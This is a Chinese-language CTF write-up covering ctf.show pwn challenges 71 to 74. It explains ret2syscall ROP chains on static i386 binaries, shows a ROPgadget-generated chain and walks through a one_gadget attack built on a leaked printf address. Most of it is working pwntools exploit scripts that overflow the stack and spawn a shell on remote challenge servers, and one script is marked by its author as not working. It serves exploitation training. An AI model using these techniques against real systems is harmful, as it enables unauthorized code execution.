ret2syscall

其实在ret2shellcod里我们就已经使用过ret2syscall的类似解法,也就是系统调用但只用了orw,这篇文章来介绍静态链接的elf文件使用gadget构造系统调用execve(“/bin/sh”,NULL,NULL)拿shell

对于i386程序想要系统调用execve(“/bin/sh”,NULL,NULL)需要达成以下条件:

  • 系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • 最后int 0x80 系统调用

接下来就用ROPgadget来找对应gadget

1
2
3
4
5
6
ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
ROPgadget --binary pwn --only 'pop|ret' | grep 'ecx'
ROPgadget --binary pwn --only 'pop|ret' | grep 'edx'
ROPgadget --binary pwn --only 'int'
ROPgadget --binary pwn --string '/bin/sh'

找齐之后可以开始构造payload

pwn71

该题要注意偏移ida上给出的有误故使用gdb调试

1
2
3
4
5
gdb pwn
b main下断点
r运行
c到输出位置 看ebp和esp此时的地址
x/gx 地址运算

通过观察汇编可知此时起始地址相对于esp的偏移为0x1C

1
2
3
.text:08048E8F 8D 44 24 1C                   lea     eax, [esp+1Ch]
.text:08048E93 89 04 24 mov [esp], eax
.text:08048E96 E8 B5 67 00 00 call gets

故返回地址的偏移为 ebp地址-esp地址-esp距起始位置的距离+4(ebp)

1

即0xffffd1d8-0xffffd150-0x1c+4=112

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28162)
#io = process('./pwn')
elf = ELF('./pwn')

bin_sh=0x080be408
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
int_0x80=0x08049421
payload = b'a'*112
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)

io.sendline(payload)

io.interactive()

pwn72 多系统调用

该题依旧是静态编译,但没有/bin/sh字符需要先调用read读入一个/bin/sh再进行系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#context.log_level = 'debug'
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28118)
#context.terminal = ['tmux', 'splitw', '-h']
#io = process('./pwn')
elf = ELF('./pwn')

bss=0x080eb000
pop_eax_ret=0x080bb2c6
pop_edx_ecx_ebx_ret=0x0806ecb0
int_0x80=0x0806f350
payload = b'a'*(0x28+4)
payload += p32(pop_eax_ret)+p32(0x3)+p32(pop_edx_ecx_ebx_ret)+p32(0x10)+p32(bss)+p32(0)+p32(int_0x80) #0x3是read的系统调用号 0是标准输入
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_0x80)

io.sendline(payload)
sleep(1)
bin_sh=b'/bin/sh\x00'
io.sendline(bin_sh)

io.interactive()

pwn73一把梭

本来已经用ROPgadget写出一把梭了但是看着怪怪的以为没跑出来回去用老方法没打通不知道是哪有问题

该题有明显栈溢出,静态编译

使用该指令自动构造ROP链

1
ROPgadget --binary pwn --ropchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

[+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806f02a pop edx ; ret
[+] Gadget found: 0x80b81c6 pop eax ; ret
[+] Gadget found: 0x8049303 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x8049303 xor eax, eax ; ret
[+] Gadget found: 0x807a86f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de955 pop ecx ; ret
[+] Gadget found: 0x806f02a pop edx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x806cc25 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from struct import pack
#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28247)
elf = ELF('./pwn')

p = b'a' * 28

p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea060',16)) # @ .data
p += pack('<I', int('0x080b81c6',16)) # pop eax ; ret
p += b'/bin'
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea064',16)) # @ .data + 4
p += pack('<I', int('0x080b81c6',16)) # pop eax ; ret
p += b'//sh'
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x08049303',16)) # xor eax, eax ; ret
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x080481c9',16)) # pop ebx ; ret
p += pack('<I', int('0x080ea060',16)) # @ .data
p += pack('<I', int('0x080de955',16)) # pop ecx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x08049303',16)) # xor eax, eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16))# inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0806cc25',16)) # int 0x80
io.sendline(p)

io.interactive()

我自己写的但是没跑通,有师傅看到的话可以指点一下吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
#context.log_level = 'debug'
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28118)
#context.terminal = ['tmux', 'splitw', '-h']
#io = process('./pwn')
elf = ELF('./pwn')

bss=0x080eb000
pop_eax_ret=0x080b81c6
pop_edx_ecx_ebx_ret=0x0806f050
int_0x80=0x0806cc25
payload = b'a'*0x28
payload += p32(pop_eax_ret)+p32(0x3)+p32(pop_edx_ecx_ebx_ret)+p32(0x10)+p32(bss)+p32(0)+p32(int_0x80)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_0x80)

io.sendline(payload)
sleep(1)
bin_sh=b'/bin/sh\x00'
io.sendline(bin_sh)

io.interactive()

pwn74one_gadget

该题主要用于科普one_gadget,麻烦的点在于它没有给libc,群里又没找到,只有到libc database search上对着wp试

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

找到的libc是这个libc6_2.27-3ubuntu1.6_amd64.solibc database search

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF

v4[2] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(s);
puts(asc_A80);
puts(asc_B00);
puts(asc_B90);
puts(asc_C20);
puts(asc_CA8);
puts(asc_D40);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : PWN_Tricks ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Use one_gadget a shuttle! ");
puts(" * ************************************* ");
printf("What's this:%p ?\n", &printf);
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
(v4[0])();
return 0;
}

发现会输出printf的地址可以用来找libc基地址

此处v4[0],v4[1]绕来绕去的最后也不知道是调用哪的函数,直接选择看汇编

1
2
3
4
5
6
7
8
9
10
11
.text:00000000000008F2 48 8D 45 E8                   lea     rax, [rbp+var_18]
.text:00000000000008F6 48 89 C6 mov rsi, rax
.text:00000000000008F9 48 8D 3D 41 06 00 00 lea rdi, aLd ; "%ld"
.text:0000000000000900 B8 00 00 00 00 mov eax, 0
.text:0000000000000905 E8 E6 FD FF FF call ___isoc99_scanf
.text:0000000000000905
.text:000000000000090A 48 8B 45 E8 mov rax, [rbp+var_18]
.text:000000000000090E 48 89 45 F0 mov [rbp+var_10], rax
.text:0000000000000912 48 8B 55 F0 mov rdx, [rbp+var_10]
.text:0000000000000916 B8 00 00 00 00 mov eax, 0
.text:000000000000091B FF D2 call rdx

直接从call rdx反着往上看,call的地址就是我们输入的数据

查看one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
桌面$ one_gadget libc.so             
/var/lib/gems/2.7.0/gems/one_gadget-1.7.3/lib/one_gadget/fetchers/base.rb:32: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
/var/lib/gems/2.7.0/gems/one_gadget-1.7.3/lib/one_gadget/gadget.rb:27: warning: The called method `initialize' is defined here
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

通过gdb调试可以发现,当运行到call rdx时rsp+0x70处的值为零,而rsp+0x40处不为零,故只要输入onegadget的地址0x10a2fc+libc_base作为[rbp+var_18]后续call该地址处的值时即可get shell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28123)
elf = ELF('./pwn')
libc=ELF('./libc.so')
one_gadget = 0x10a2fc
io.recvuntil('this:')
printf_addr=int(io.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
io.sendline(str(one_gadget + libc_base))

io.interactive()

%ld 要求输入的是一个长整型值的字符串表示故将地址转换成字符串形式使得能够正常读入。